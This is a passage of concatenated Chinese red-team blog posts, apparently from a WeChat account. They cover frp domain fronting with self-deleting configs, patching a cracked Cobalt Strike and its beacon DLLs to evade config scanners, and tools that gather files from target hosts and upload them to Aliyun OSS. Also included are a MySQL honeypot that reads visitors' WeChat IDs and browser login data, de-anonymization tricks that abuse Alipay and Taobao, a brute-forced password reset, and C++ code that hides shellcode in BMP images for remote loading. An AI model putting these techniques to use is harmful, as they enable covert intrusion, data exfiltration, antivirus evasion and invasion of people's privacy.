[+] 7-6 Upload completed
[+] 7-7 Upload completed
[+] copy /b c:\Users\Public\Downloads\11.exe_x.config_txt c:\Users\Public\Downloads\11.exe
[+] del c:\Users\Public\Downloads\*.config_txt
[*] 'C:\Users\Pentest\Desktop\test\usc.exe' Upload completed

download

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX download c:\Users\Public\Downloads\t.txt C:\Users\Pentest\Desktop\test\t.txt
[*] Database connection is successful!
[*] Downloading 'c:\Users\Public\Downloads\t.txt' to 'C:\Users\Pentest\Desktop\test\t.txt'...
[*] 'c:\Users\Public\Downloads\t.txt' Download completed

Github

https://github.com/uknowsec/SharpSQLTools

References

https://github.com/blackarrowsec/mssqlproxy

阅读原文

跳转微信打开

https://github.com/uknowsec/frpModify

域前置与自删除

详情：FRP改造计划续

frps

[common]
bind_port = 23333
token = uknowsec

frpc

[common]
server_addr = test.com.w.cdngslb.com
server_port = 443
token = uknowsec
protocol = wss
#protocol = websocket
tls_enable = true
del_enable = true
websocket_domain = test.com

[http_proxy]
type = tcp
remote_port = 10002
plugin = socks5

github

自行到github下载 https://github.com/uknowsec/frpModify

阅读原文

跳转微信打开

通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址

前言

之前@Wfox师傅在群里提到“通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址”。最近没有项目，重新进行一下frp改造计划。感谢@Wfox提出的修改思路~

可行性证明

先用dns域名解析来证明域前置方案在frp上是可行的，这里也可以直接修改本地hosts文件来实现dns域名解析的效果。

比如我们用如下frpc.ini

[common]
server_addr = dwnwdqndlnqwln2321321.com
server_port = 23333
token = uknowsec
protocol = websocket
tls_enable = true

[http_proxy]
type = tcp
remote_port = 10002
plugin = socks5

让frpc认证数据包走websocket协议。

可以看到认证是通过websocket协议，这里特别标注出来了Host头，要实现域前置，我们只要把host修改为我们的指定回源域名即可。所以证明了“通过websocket协议让FRP用上域前置”是可行的。

Websocket依赖修改

跟进frp源码，我们可以到websocket依赖包 websocket/hybi.go文件下的hybiClientHandshake函数。

func hybiClientHandshake(config *Config, br *bufio.Reader, bw *bufio.Writer) (err error) {
    bw.WriteString("GET " + config.Location.RequestURI() + " HTTP/1.1\r\n")

    // According to RFC 6874, an HTTP client, proxy, or other
    // intermediary must remove any IPv6 zone identifier attached
    // to an outgoing URI.
    bw.WriteString("Host: " + removeZone(config.Location.Host) + "\r\n")
    bw.WriteString("Upgrade: websocket\r\n")
    bw.WriteString("Connection: Upgrade\r\n")
    nonce := generateNonce()
    if config.handshakeData != nil {
        nonce = []byte(config.handshakeData["key"])
    }
    bw.WriteString("Sec-WebSocket-Key: " + string(nonce) + "\r\n")
    bw.WriteString("Origin: " + strings.ToLower(config.Origin.String()) + "\r\n")

    ...
    return nil
}

可以看到Host是通过 config.Location.Host进行赋值的，我们再一步一步的往回看调用即可。

同时frp调用 websocket依赖在 pkg/util/net/websocket.go里的 ConnectWebsocketServer方法

func ConnectWebsocketServer(addr string) (net.Conn, error) {
    addr = "ws://" + addr + FrpWebsocketPath
    uri, err := url.Parse(addr)
    if err != nil {
        return nil, err
    }

    origin := "http://" + uri.Host
    cfg, err := websocket.NewConfig(addr, origin)
    if err != nil {
        return nil, err
    }
    cfg.Dialer = &net.Dialer{
        Timeout: 10 * time.Second,
    }

    conn, err := websocket.DialConfig(cfg)
    if err != nil {
        return nil, err
    }
    return conn, nil
}

所以只需要在往 websocket.NewConfig多传入一个指定的host参数即可。

新加入的host参数只要在 cmd/frpc/sub/root.go的 RegisterCommonFlags里进行注册即可。

测试效果

这样我们就实现了 通过websocket协议让FRP用上域前置。

WSS实现

由上图，可见用websocket还是特征比较明显的，比如 /~!frp。这里我们可以通过如下修改

pkg/util/net/websocket.go下的变量即可。

const (
    FrpWebsocketPath = "/~!frp"
)

同时，我们也修改frp使之实现wss协议。

@Wfox师傅提醒frp有人pull了支持wss协议的修改代码。

https://github.com/fatedier/frp/pull/1919/files

通过pull里的修改就可以实现wss协议了

同时由于在某云域前置里，用wss协议的情况下，server_addr用域名会不能正常回源，只能用ip。且会存在证书报错。

这里可以通过做如下修改 pkg/util/net/websocket.go里的 ConnectWebsocketServer函数

// addr: domain:port
func ConnectWebsocketServer(addr string, websocket_domain string, isSecure bool) (net.Conn, error) {
    if isSecure {
        ho := strings.Split(addr, ":")
        ip, err := net.ResolveIPAddr("ip", ho[0])
        ip_addr := ip.String() + ":" + ho[1]
        if err != nil {
            return nil, err
        }
        addr = "wss://" + ip_addr + FrpWebsocketPath
    } else {
        addr = "ws://" + addr + FrpWebsocketPath
    }
    uri, err := url.Parse(addr)
    if err != nil {
        return nil, err
    }

    var origin string
    if isSecure {
        ho := strings.Split(uri.Host, ":")
        ip, err := net.ResolveIPAddr("ip", ho[0])
        ip_addr := ip.String() + ":" + ho[1]
        if err != nil {
            return nil, err
        }
        origin = "https://" + ip_addr
    } else {
        origin = "http://" + uri.Host
    }

    cfg, err := websocket.NewConfig(addr, origin, websocket_domain)
    if err != nil {
        return nil, err
    }
    cfg.Dialer = &net.Dialer{
        Timeout: 10 * time.Second,
    }

    conn, err := websocket.DialConfig(cfg)
    if err != nil {
        return nil, err
    }
    return conn, nil
}

用 net.ResolveIPAddr先获取域名所对应ip地址，再进行wss和https协议的使用即可。

另外修复证书错误问题。

修改 websocket/dial.go里的 dialWithDialer方法。

func dialWithDialer(dialer *net.Dialer, config *Config) (conn net.Conn, err error) {
    switch config.Location.Scheme {
    case "ws":
        conn, err = dialer.Dial("tcp", parseAuthority(config.Location))

    case "wss":
        config.TlsConfig = &tls.Config{
            InsecureSkipVerify: true,
        }
        conn, err = tls.DialWithDialer(dialer, "tcp", parseAuthority(config.Location), config.TlsConfig)

    default:
        err = ErrBadScheme
    }
    return
}

当使用wss协议的时候，将 TlsConfig.InsecureSkipVerify设置为true，即可忽略证书错误了。

测试效果

可见图中的认证数据包已经以wss进行认证了。

配置文件自删除

在其中看@lz520520师傅的文章里看到

https://sec.lz520520.cn:4430/2020/11/566/#0x03

只要读取后删除配置文件就好了呀，这个就很简单，我多添加了一个配置文件参数delete，用于判断是否自动删除配置文件。

这一点还是不错的，添加参数，读取完配置文件启动frpc后，自动删除配置文件。

同样相同的方法在 cmd/frpc/sub/root.go的 RegisterCommonFlags里进行注册参数即可。

然后在 cmd/frpc/sub/root.go里的 startService方法里进行判断调用删除配置文件即可。

func startService(
    cfg config.ClientCommonConf,
    pxyCfgs map[string]config.ProxyConf,
    visitorCfgs map[string]config.VisitorConf,
    cfgFile string,
) (err error) {

    log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,
        cfg.LogMaxDays, cfg.DisableLogColor)

    if cfg.DNSServer != "" {
        s := cfg.DNSServer
        if !strings.Contains(s, ":") {
            s += ":53"
        }
        // Change default dns server for frpc
        net.DefaultResolver = &net.Resolver{
            PreferGo: true,
            Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
                return net.Dial("udp", s)
            },
        }
    }
    svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)
    if errRet != nil {
        err = errRet
        return
    }
    if cfg.DELEnable == true {
        os.Remove(cfgFile)
    }
    // Capture the exit signal if we use kcp.
    if cfg.Protocol == "kcp" {
        go handleSignal(svr)
    }

    err = svr.Run()
    if cfg.Protocol == "kcp" {
        <-kcpDoneCh
    }
    return
}

这样就可以实现配置文件自动删除功能了。

Reference

https://github.com/fatedier/frp/pull/1919/files

https://sec.lz520520.cn:4430/2020/11/566/

代码排版转换有点乱，有需求点击查看原文

阅读原文

跳转微信打开

拿起你的IDA跟我一起bypass cobaltstrike beacon config scan吧

前言

近日，360的团队将cobaltstrike stage uri的特征公开了，这着实令我有些感叹，做了我们想做但不敢做的事情。关于对抗方面，我目前看到的都是从stage uri着手，今天将从另一个角度给大家分享一下如何bypass beacon config scan。

beacon检测原理

stager uri的验证规则如下：

只要传入的uri经过checksum8计算，符合条件的话，就下载对应的stage。

而且这一点，在官方文档里其实早有提示：

而这个stage是经过了一系列异或加密的：

想要分析config需要对其进行解密，这里参考一个老外的脚本：

https://sysopfb.github.io/malware,/cobaltstrike/2020/03/24/beacon-in-azure.html

import sys,struct
filename = sys.argv[1]data = open(filename, 'rb').read()t = bytearray(data[0x45:])(a,b) = struct.unpack_from('<II', t)key = at2 = t[8:]out = ""for i in range(len(t2)/4):    temp = struct.unpack_from('<I', t2[i*4:])[0]    temp ^= key    out += struct.pack('<I', temp)    key ^= tempopen(filename+'.decoded', 'wb').write(out)

解密后的程序使用另一个老外的脚本可以解析出马子的配置文件：

https://github.com/Sentinel-One/CobaltStrikeParser

在代码里我们可以发现，cs 3.x版本的配置信息是通过异或0x69解密出的，4.x版本的配置信息是通过异或0x2e解密出的。

winhex手动异或一下：

至此，可以发现，从3.x到4.x，cs自解密的算法没变，自解密后再解密配置文件的算法就只是改了个密钥，而且是固定的（3.x 0x69，4.x 0x2e）。

燥起来

目前，大家用的cs应该都是4.x了吧，所以配置文件的异或密钥为0x2e，如果我们修改了这个密钥，脚本就不能直接获取到配置信息了。

这里以cs4.1为例，给大家讲解一下，如何修改这个密钥。

首先在/beacon/BeaconPayload.class里，我们可以看到对应的异或算法，将反编译出的代码copy出来，拷贝到BeaconPayload.java，修改0x2E为0x3E

编译：javac -encoding UTF-8 -classpath cobaltstrike.jar BeaconPayload.java

报错：

在161行str1前面加个String：

重新编译就好了：

当然，光改这么一个java文件是不行的，接下来的，才是本文的重点。

我们知道，cs在生成shellcode的时候，是要依赖一些模板dll的，而要想实现效果，我们就需要对dll进行反编译并修改，但这些dll是经过加密了的，所以我们还得解密一下。

关于解密，我们可以参考一个脚本：

https://github.com/ca3tie1/CrackSleeve/blob/master/CrackSleeve.java

这里我们改点代码，加密的时候用cs里的密钥就好了：

而密钥在破解版cs4.1在/common/Authorization.class中直接给出了，所以可以直接拿来用：

然后编译：javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java

接着decode dll：java -classpath cobaltstrike.jar;./ CrackSleeve decode

发现报错，不要紧，脚本是提取的cs4.0的代码，所以4.1报错也是很正常的。

对比一下代码，发现4.0处理资源的时候，Setup方法中是paramArrayOfByte（认证相关的知识请看文章《Cobaltstrike 4破解之 我自己给我自己颁发license》https://mp.weixin.qq.com/s/Pneu8R0zoG0ONyFXF9VLpg）

而4.1中是CommonUtils.readResource("resources/cobaltstrike.auth")

于是稍微改下脚本：

重新编译后解密文件：

不是我说，兄弟，有了ida，还要什么女朋友？？？

用ida打开beacon.dll：

搜索0x2E，找到xor的地方:

然后修改字节：

把2E改成3E：

最后别忘了应用：

除了beacon.dll，还有以下dll（代码看得不仔细，如有漏掉，请务必告知~）：

beacon.x64.dll

dnsb.dll

dnsb.x64.dll

pivot.dll

pivot.x64.dll

extc2.dll

extc2.x64.dll

由于修改方式都一样，这里就不一一演示了 TaT

dll修改完成，我们还需要加密回去：

java -classpath cobaltstrike.jar;./ CrackSleeve encode

java文件和dll都改好了，现在将修改后的文件放进cs里，其中dll放进/sleeve里：

BeaconPayload.class放进/beacon目录里：

启动cs，确定常用的http和https监听器都能用：

然后使用grab_beacon_config来检测，在web log里，可以看到，脚本请求了stage的uri，但是没有分析出beacon的配置文件：

此刻，我们通过修改cs代码和dll的方式，bypass了beacon config的检测。

改完的文件我传到GitHub了，有兴趣的小伙伴可以自行下载（如有顾虑，可以自己修改）：

https://github.com/qigpig/bypass-beacon-config-scan/

以上如有未修改到的地方，请及时与我反馈，共同进步！

最后，关注公众号，后期我们会分享更多有意思的内容，包括cobaltstrike其他方面的一些修改。

最后的最后，不是我说，兄弟，若有女朋友，还要什么ida？？？

参考链接

[1] https://www.anquanke.com/post/id/157782

[2] https://sysopfb.github.io/malware,/cobaltstrike/2020/03/24/beacon-in-azure.html

[3] https://github.com/Sentinel-One/CobaltStrikeParser

[4] https://mp.weixin.qq.com/s/Pneu8R0zoG0ONyFXF9VLpg

[5] https://github.com/ca3tie1/CrackSleeve/blob/master/CrackSleeve.java

阅读原文

跳转微信打开

自用缝合怪内网扫描器，支持端口扫描，识别服务，获取title，扫描多网卡，ms17010扫描，icmp存活探测

TailorScan

扫描是内网渗透的一个主要组成部分，自认为，在内网中CLI与GUI更偏向于CLI。更适用于webshell，CobaltStrike等一些C2工具。同时在编程语言方面，Go更为合适，交叉编译支持多平台兼容性好相较于Python和C#，开发难度较小相较于C/C++。个人需求，在内网更多的是端口扫描，探测存活和ms17010检测这几部分的需求比较多。

秉着不重复造轮子和能用就行的原则，发现github上大佬的ServerScan满足我在端口扫描上的需求。下面是GitHub给出的介绍

• 多平台支持（Windows、Mac、Linux、Cobalt Strike）

• 存活IP探测（支持TCP、ICMP两种模式）

• 超快的端口扫描

• 服务和应用版本检测功能，内置指纹探针采用:nmap-service-probes

• Web服务（http、https）信息探测

简单就是多平台支持，可识别服务和应用，可获取title。

起初只是用他进行一些内网的端口扫描，后续因为项目开源，开始在上面加了一些自己常用的功能，例如上面提到的探测网卡，ms17010功能。就有了这个TailorScan（缝合怪扫描器）。再内置了自己常用的一些端口，在内网渗透中还是挺好用的。文件大小UPX压缩后大概4M多，集齐了几个功能，这个文件大小还是可以接受的。

Usage

 > TailorScan_windows_amd64.exe
ServerScan for Port Scaner and Service Version Detection.
HOST  Host to be scanned, supports four formats:
                192.168.1.1
                192.168.1.1-10
                192.168.1.*
                192.168.1.0/24
PORT  Customize port list, separate with ',' example: 21,22,80-99,8000-8080 ...
MODEL Scan Model: icmp or tcp
example: TailorScan.exe portscan 192.168.0.1/24 80,8080 tcp
example: TailorScan.exe portscan 192.168.0.1/24 tcp
EternalBlue scanner
example: TailorScan.exe ms17010 -i 192.168.0.1
example: TailorScan.exe ms17010 -n 192.168.0.1/24
OXID Find
example: TailorScan.exe oxidfind -i 192.168.0.1
example: TailorScan.exe oxidfind -n 192.168.0.1/24
ICMP check
example: TailorScan.exe icmpcheck 192.168.0.1/24

下载地址

来自社区，回馈社区。移步github或点击阅读原文进行下载，并自行upx压缩 https://github.com/uknowsec/TailorScan

References

https://github.com/Adminisme/ServerScan

阅读原文

跳转微信打开

SauronEye-Modify:快速查找目标终端文件并压缩打包上传oss

> SauronEye.exe -h
         === SauronEye Modify by Uknow  ===
Usage: SauronEye.exe [OPTIONS]+ argument
Search directories for files containing specific keywords.
Options:
  -d, --directories=VALUE    Directories to search
  -f, --filetypes=VALUE      Filetypes to search for/in
  -k, --keywords=VALUE       Keywords to search for
  -o, --osskey=VALUE         aliyunOSS key
                                format: bucketName:accessKeyId:accessKeySecret:
                               endpoint
  -c, --contents             Search file contents
  -m, --maxfilesize=VALUE    Max file size to search contents in, in kilobytes
  -b, --beforedate=VALUE     Filter files last modified before this date,
                                format: yyyy-MM-dd
  -a, --afterdate=VALUE      Filter files last modified after this date,
                                format: yyyy-MM-dd
  -s, --systemdirs           Search in filesystem directories %APPDATA% and %
                               WINDOWS%
  -v, --vbamacrocheck        Check if 2003 Office files (*.doc and *.xls)
                               contain a VBA macro
  -h, --help                 Show help

阅读原文

跳转微信打开

前几周用到的溯源技巧。

0x00 前言

HVV期间负责的有溯源这块的工作，整理一下用到的技巧。通常情况下，溯源需要获取到目标攻击者的一部分社会信息，比如手机号，邮箱，QQ号，微信号等，通过这些信息在互联网可以进一步追溯攻击者的更多暴露信息。方便进一步溯源。

--Keefe

0x01 技巧

没有外网高交互的探针蜜罐提供收集到的攻击者信息的话，如果只是单单知道一个域名、一个ip，以个人的力量其实很难针对性的去做溯源。

不过还是有些办法可以应付一些工作，前提当然是拿到了一些信息的情况。

1.域名、ip反查目标个人信息

通过威胁情报平台确认攻击来路是否为威胁ip，常用的平台通常有

https://ti.qianxin.com/ 奇安信威胁情报中心

https://x.threatbook.cn/ 微步在线威胁情报社区

等。

通常会用到这些思路：

1. ip反查域名
2. 域名查whois注册信息
3. 域名查备案信息
4. 域名反查邮箱
5. 邮箱反查下属域名
6. 域名反查注册人
7. 注册人反查下属域名

在这上面可以综合的查到ip或者域名的一些活动信息，或者whois信息，也可以单去查whois，只是需要去分辨下历史whois的信息，确认当前域名的所有者到底是不是同一个人。当然，现在部分域名商有隐藏whois的情况，这种暂时没思路。

例：

2.支付宝转账，确定目标姓氏

已知支付宝账号（手机号、邮箱），大额转账可验证姓氏，如果对的话，会提示成功，所以可以尝试多次。

3.淘宝找回密码，确定目标名字

已知淘宝账号（任意手机号、邮箱、用户名，其一即可），手机app找回密码处，验证方式选择拍摄脸部。

验证流程中即可获得目标的名字。

4.企业微信手机号查公司名称

HVV中溯源报告需要指认目标到对应公司，这里很多企业都有企业微信，比如某友商。如果拿到目标的企业微信注册手机号，那么即可证明所属公司。这里有个技巧，估计是bug，会把所属企业显示出来：

第一步，微信增加朋友，选择企业微信联系人。

第二步，点击增加到通讯录，然后先不动。

第三步，点击回退按钮。

第四步，然后他的所属企业就显示出来了。

5.REG007查注册应用、网站

https://www.reg007.com/

这个懂得都懂，偶有额外的站点能查到能过信息，比如顺藤摸瓜找到的微博，搞IT总是把自己的个人介绍弄的特别详细。

例：几周前，通过一些信息，顺藤摸瓜通过QQ找到了注册微博了，通过找到微博，看到了某目标的人生履历。

微博信息：

这个REG007还有一些思路，下面还有个例子会再介绍。

6.程序PDB信息泄露

场景有很多，比如拦截捕获到了木马样本，比如shellcode loader，通过自己编译生成的这种程序，如果生成了调试信息，没有勾选否，那么就可能会造成PDB信息泄露。

例：前面某期间，抓到的木马样本，通过C32看到程序尾部的信息，找到了生成木马的主机用户名，通常情况下很多黑客都喜欢用自己的ID作为主机用户名，跟同事通过Twitter看到另外的大佬也捕获到了这个马子，推断是国外黑客，虽然最终没有准确溯源到人，但是这个是一种溯源的思路。

通过C32分析，看到尾部的信息，找到mr.anderson这个ID。

通过找Twitter，发现这个，倒真是巧合，看来这个anderson搞了很多钓鱼邮件，怀疑是国外黑客。

https://twitter.com/L0x3rh4u/status/1298517307468128260

7.在线挖洞

最后这个技巧有风险，可以结合点挖洞的思路，但是未授权所以风险太高了，最后不了了之。

例：

某期间，通过REG007找到了目标的注册域名手机号，发现注册了一个XX简历网站，是修改简历的，需要上传简历，然后简单用手机号注册了下，发现收到了四位验证码。

又去测了下找回密码，发现也是收到了四位验证码，用burp跑了下自己的账号，直接重置了密码，但是因为防守方的局限性，再加上未授权，所以就没有尝试别人的账号。延伸下思路，对抗的思路，主动出击的防守方，如果规则允许的话，那么可能也是不错的溯源思路？

0x02 总结

这次其实负责了蛮多的活儿，研判、溯源都参与了。感觉溯源就是结合攻击者来路暴露的信息，加上一些判断，去分析信息的真实性，一步一步构建出攻击者的人物画像，像手机号、邮箱这种直接能找到很多注册业务的信息，总能收集到一些东西，最后总结报告提交完事。

如果有什么问题欢迎与笔者交流，或者在公众号留言！

阅读原文

跳转微信打开

SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传

内网需求

“内网渗透的本质是信息收集”,常常会收集到一些体积较大的文件或者是源码进行分析利用。而网络情况复杂的情况下，通过菜刀一类webshell管理工具或CS一类C2工具来进行传输文件是非常慢的，所以经常会用到AliyunOSS来进行快速文件传输。同时aliyunOSS是白域名，比cs传输文件更为隐秘。就看了一下aliyun-oss-csharp-sdk实现了这个功能。

Usage

建议可内存加载，尽量用cs的execute-assembly内存加载，做到尽可能的不落地。

> SharpOSS.exeAuthor: UknowGithub: https://github.com/uknowsec/SharpOSSUsage:  SharpOSS.exe bucketName accessKeyId accessKeySecret endpoint UploadFilePath

github

https://github.com/uknowsec/SharpOSS

代码仅放出了主要部分，需要引用aliyun-oss-csharp-sdk。有兴趣的自行反编译exe。

关注公众号回复 SharpOSS 可直接获取下载地址。

阅读原文

跳转微信打开

前言 前些日子有人问到我溯源反制方面的问题，我就想到了MySQL任意文件读取这个洞，假设你在内网发现或扫到了

前言

前些日子有人问到我溯源反制方面的问题，我就想到了MySQL任意文件读取这个洞，假设你在内网发现或扫到了一些MySQL的弱口令，你会去连吗？

原理

MySQL中 load data local infile '/etc/passwd' into table test fields terminated by '\n'; 语句可以读取客户端本地文件并插进表中，那么我们可以伪造一个恶意的服务器，向连接服务器的客户端发送读取文件的payload。这个技术并不新鲜，但是合理利用就能起到一些不错的成果。

利用

抓个包看看连MySQL时客户端和服务端通信的两个关键点：

服务端先返回了版本、salt等信息：

客户端向服务端发送账号密码信息后，服务端返回了认证成功的包：

至此，我们只需等待客户端再发一个包，我们就能发送读取文件的payload了，再看看读取文件这个包：

这里000001是指数据包的序号，fb是指包的类型，最后一个框是指要读取的文件名，而最前面的14是指文件名的长度（从fb开始，16进制），所以payload则是chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename

在能够实现任意文件读取的情况下，我们最希望的就是能读到与攻击者相关的信息。日常生活中，大家几乎都会使用微信，而如果攻击者没有做到办公—渗透环境分离的话，我们就有希望获取到攻击者的微信ID

Windows下，微信默认的配置文件放在C:\Users\username\Documents\WeChat Files\中，在里面翻翻能够发现 C:\Users\username\Documents\WeChat Files\All Users\config\config.data 中含有微信ID：

而获取这个文件还需要一个条件，那就是要知道攻击者的电脑用户名，用户名一般有可能出现在一些日志文件里，我们需要寻找一些比较通用、文件名固定的文件。经过测试，发现一般用过一段时间的电脑在 C:\Windows\PFRO.log 中较大几率能找到用户名。

伪装

攻击者进入内网后常常会进行主机发现和端口扫描，如果扫到MySQL了，是有可能进行爆破的，如果蜜罐不能让扫描器识别出是弱口令，那就没啥用了，所以还需要抓下扫描器的包。

这里以超级弱口令检查工具为例，首先在本地起一个正常的MySQL服务，wireshark抓包看看扫描器有哪些请求：

可以看到，这款工具在验证完密码后还发了5个查询包，如果结果不对的话，是无法识别出弱口令的，那么我们将服务器的响应数据提取出来，放进程序里，当收到这些请求后，就返回对应的包：

这样就能让扫描器也可以正常识别：

效果

当攻击者发现存在弱口令的时候，大概率会连上去看看，如果使用navicat的话，就能读取到文件：

写了个简单的web来显示攻击者的微信ID，扫一扫就能加上TA

思考

除了获取微信ID，我们还能获取哪些有价值的东西呢？

• chrome的login data，虽然无法解密出密码，但是还是可以获取到对方的一些账号的

  'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'

• chrome的历史记录

  'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/History'

• 用户的NTLM Hash（Bettercap + responder）

  \\ip\test

详情：https://www.colabug.com/2019/0408/5936906/

• ……

待解决问题：

• 同一出口IP的不同攻击者的信息如何区分

• 读取的文件较大时，客户端会分段传输，如何完整获取

• 前端有点bug，不管了，能用就行了

  关于其他可利用的点和以上待解决问题欢迎大家留言讨论，最后，源码我上传到GitHub了，有需要的朋友请自取：

  https://github.com/qigpig/MysqlHoneypot

参考链接

[1] https://www.colabug.com/2019/0408/5936906/

[2] https://github.com/ev0A/Mysqlist

阅读原文

跳转微信打开

Fofa采集工具-自修改版本

Fofa采集工具

最近收集资产啥的用fofa用的比较多，搁网上找有没有好用的采集工具，发现不能满足我的部分需求，所以自己修改了一个。这里基于

https://www.t00ls.net/viewthread.php?tid=57096

吐司大佬发的源码改了一下，感谢大佬贡献的源码。

修改内容如下：

1. ListView输出ip,port,host,server,title。

2. 修改输出内容为result.csv。

3. 修改从GUI界面加载Api key。

4. 修改支持双击点击直接打开url地址。

5. ilmerge合并exe和dll。

来自社区，回馈社区。

需要下载的可关注公众号并回复：Fofa，获取下载链接。

或直接到github下载：

https://github.com/uknowsec/Fofa-gui

阅读原文

跳转微信打开

将Shellcode隐写到正常BMP图片中，把字符串拆成字节，写入每个像素的alpha通道中，然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载，能有效地增加了免杀性和隐匿性。

0x01 前言

将Shellcode隐写到正常BMP图片中，把字符串拆成字节，写入每个像素的alpha通道中，然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载，能有效地增加了免杀性和隐匿性。

0x02 相关概念

BMP文件的数据按照从文件头开始的先后顺序分为四个部分：

• bmp文件头(bmp file header)：提供文件的格式、大小等信息
• 位图信息头(bitmap information)：提供图像数据的尺寸、位平面数、压缩方式、颜色索引等信息
• 调色板(color palette)：可选，如使用索引来表示图像，调色板就是索引与其对应的颜色的映射表
• 位图数据(bitmap data)：就是图像数据

下面结合Windows结构体的定义，通过一个表来分析这四个部分。

这里已经有先人分析了，引用参考

C/C++信息隐写术（一）之认识文件结构

https://blog.csdn.net/qq78442761/article/details/54863034

打开010 Editor 然后把文件拖入分析

一、bmp文件头

其中最关键的两个结构体BITMAPFILEHEADER和BITMAPINFOHEADER，这里面保存了这个Bmp文件的很多信息。

  typedef struct tagBITMAPFILEHEADER 
  {  
  UINT16 bfType;    // 说明位图类型  2字节
  DWORD bfSize;  // 说明位图大小  4字节
  UINT16 bfReserved1;  // 保留字，必须为0  2字节
  UINT16 bfReserved2;  // 保留字，必须为0   2字节
  DWORD bfOffBits; // 从文件头到实际的图像数据的偏移量是多少  4字节
  } BITMAPFILEHEADER;  //一共16个字节

1.最开头的两个十六进制为42H，4DH转为ASCII后分别表示BM，所有的BMP文件都以这两个字节开头。

2.红色箭头是图片的大小（这里对应的十六进制为26 3D 17 00，但这设计大小端转化，所以他一个转为00 17 3D 26，换成十进制就为1522982）。

3.黄色的那两个箭头一般填充为0。

4.橘色监听的bfOffBits是从BMP文件的第一个字节开始，到第54个字节就是像素的开始。

二、位图信息头(bitmap-informationheader)

同样，Windows为位图信息头定义了如下结构体：

  typedef struct tagBITMAPINFOHEADER
   {
  DWORD biSize;  // 说明该结构一共需要的字节数 2字节
  LONG biWidth;  // 说明图片的宽度，以像素为单位 4字节
  LONG biHeight; // 说明图片的高度，以像素为单位 4字节
  WORD biPlanes; //颜色板，总是设为1  2个字节
  WORD biBitCount;  //说明每个比特占多少bit位，可以通过这个字段知道图片类型  2个字节
  DWORD biCompression;  // 说明使用的压缩算法 2个字节 （BMP无压缩算法）
  DWORD biSizeImage;  //说明图像大小   2个字节
  LONG biXPelsPerMeter;  //水平分辨率 4字节  单位：像素/米
  LONG biYPelsPerMeter;  //垂直分辨率4字节
  DWORD biClrUsed;  //说明位图使用的颜色索引数 4字节
  DWORD biClrImportant; //4字节
  } BITMAPINFOHEADER; // 一共40个字节

5.biSze是指这个struct BITMAPINDOHEADER bmih占40个字节大小。

6.biWidth,和biHeight指图片的宽和高

6.黑色箭头bitBitCount代表：BGRA 蓝、绿、红、alpha，来存储一个像素，蓝占多少，绿占多少，红占多少，alpha是透明度，这个字节的数值表示的是该像素点的透明度：数值为0时，该像素点完全透明，利用这种特性来藏数据了，而不影响原图片的正常显示。

7.这两个结构体结束后：剩下的部分就是像素的BGRA了。

0x03 程序实现

现在这个程序的思路就是：

1.用C/C++代码读取图片文件里面的这两个结构体。

2.读取图片到内存中。获取bfOffBIts，再获取alpha通道（+4）。

3.把数据拆分，插入到alpha通道，保存文件上传到阿里云对象存储OSS或可信任网站上。

4.远程读取被修改图片的alpha通道，拼接组合shellcode申请内存加载。

一、图片生成

为了方便隐藏写入，将CS生成的shellcode转换成hex编码

code = "\xfc\xe8\x89\x00\x00\x00\x60\x56\x78........."
print(code.encode('hex'))

核心代码参考 https://github.com/loyalty-fox/idshwk7

//dwBmpSize.cpp
#include "dwBmpSize.h"
 
CBMPHide::CBMPHide()
{
 sBmpFileName = "";
 pBuf = 0;
 dwBmpSize = 0;
}
 
CBMPHide::~CBMPHide()
{
 
}
 
bool CBMPHide::setBmpFileName(char* szFileName)
{
 this->sBmpFileName = szFileName;
 if (pBuf) //如果已经生成就释放掉
 {
  delete[]pBuf;
 }
 
 HANDLE hfile = CreateFileA(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
 if (hfile == INVALID_HANDLE_VALUE)
 {
  return false;
 }
 
 //和struct BITMAPFILEHEADER bmfh里面的 bfSize的大小应该是一样的。
 dwBmpSize = GetFileSize(hfile, 0); //获取文件的大小
 pBuf = new byte[dwBmpSize];
 DWORD dwRead = 0;
 ReadFile(hfile, pBuf, dwBmpSize, &dwRead, 0);
 if (dwRead != dwBmpSize)
 {
  delete[]pBuf;
  pBuf = 0;
  return false;
 }
 CloseHandle(hfile);
 m_fileHdr = (BITMAPFILEHEADER*)pBuf;
 m_infoHdr = (BITMAPINFOHEADER*)(pBuf + sizeof(BITMAPFILEHEADER));
 return true; //成功话就是文件的内容读取到pBuf里面
}
 
 
int CBMPHide::getBmpWidth()
{
 return m_infoHdr->biWidth;
}
 
int CBMPHide::getBmpHeight()
{
 return m_infoHdr->biHeight;
}
 
int CBMPHide::getBmpBitCount()
{
 return m_infoHdr->biBitCount;
}
 
bool CBMPHide::save()
{
 string sDstFileName = "save.bmp";
    HANDLE hfile = CreateFileA(sDstFileName.c_str(),
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL,
  CREATE_ALWAYS, 0, 0);
 if (hfile == INVALID_HANDLE_VALUE)
 {
  return false;
 }
 
 DWORD dwWritten = 0;
 WriteFile(hfile, pBuf, dwBmpSize, &dwWritten, 0);
 if (dwBmpSize != dwWritten)
 {
  return false;
 }
 CloseHandle(hfile);
 return true;
}
//隐藏一个字符串到图片中，把字符串拆成字节，写入每个像素的alpha通道中
bool CBMPHide::hideString2BMP(char* szStr2Hide)
{
 LPBYTE pAlpha = pBuf + m_fileHdr->bfOffBits + 3; //第一个像素的通道位置
 int nHide; //成功隐藏的字节数
 
 //每次循环写入一个字节，吸入alpha通道
 //(pAlpha - pBuf) < m_fileHdr->bfSize这个是判断字符串是太大，图片不能隐藏
 for (nHide = 0; (pAlpha - pBuf) < m_fileHdr->bfSize && szStr2Hide[nHide] != 0; nHide++, pAlpha += 4)
 {
  *pAlpha = szStr2Hide[nHide]; //写入一个字节
 }
 
 return true;
}
